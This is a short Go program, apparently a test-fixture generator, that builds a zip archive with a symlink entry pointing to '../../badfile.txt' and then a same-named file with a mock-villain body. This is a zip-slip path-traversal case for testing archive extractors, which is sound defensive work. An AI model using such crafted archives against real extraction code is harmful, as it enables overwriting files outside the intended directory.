/
create-evil-zip.go
75 lines (65 loc) · 1.36 KB
/
create-evil-zip.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package main
import (
"log"
"os"
"time"
"github.com/klauspost/compress/zip"
)
func main() {
// Create a buffer to write our archive to.
fw, err := os.Create("double-evil.zip")
if nil != err {
log.Fatal(err)
return
}
// Create a new zip archive.
w := zip.NewWriter(fw)
// Write the evil symlink
h := &zip.FileHeader{
Name: "bad/file.txt",
Method: zip.Deflate,
Modified: time.Now(),
}
h.SetMode(os.ModeSymlink)
header, err := w.CreateHeader(h)
if err != nil {
log.Fatal(err)
}
// The evil symlink points outside of the target directory
_, err = header.Write([]byte("../../badfile.txt"))
if err != nil {
log.Fatal(err)
}
// Write safe files to the archive.
var files = []struct {
Name, Body string
}{
{"goodfile.txt", "hello world"},
{"morefile.txt", "hello world"},
{"bad/file.txt", "Mwa-ha-ha"},
}
for _, file := range files {
h := &zip.FileHeader{
Name: file.Name,
Method: zip.Deflate,
Modified: time.Now(),
}
header, err := w.CreateHeader(h)
if err != nil {
log.Fatal(err)
}
_, err = header.Write([]byte(file.Body))
if err != nil {
log.Fatal(err)
}
}
// close the in-memory archive so that it writes trailing data
if err = w.Close(); err != nil {
log.Fatal(err)
}
// close the on-disk archive so that it flushes all bytes
if err = fw.Close(); err != nil {
log.Fatal(err)
return
}
}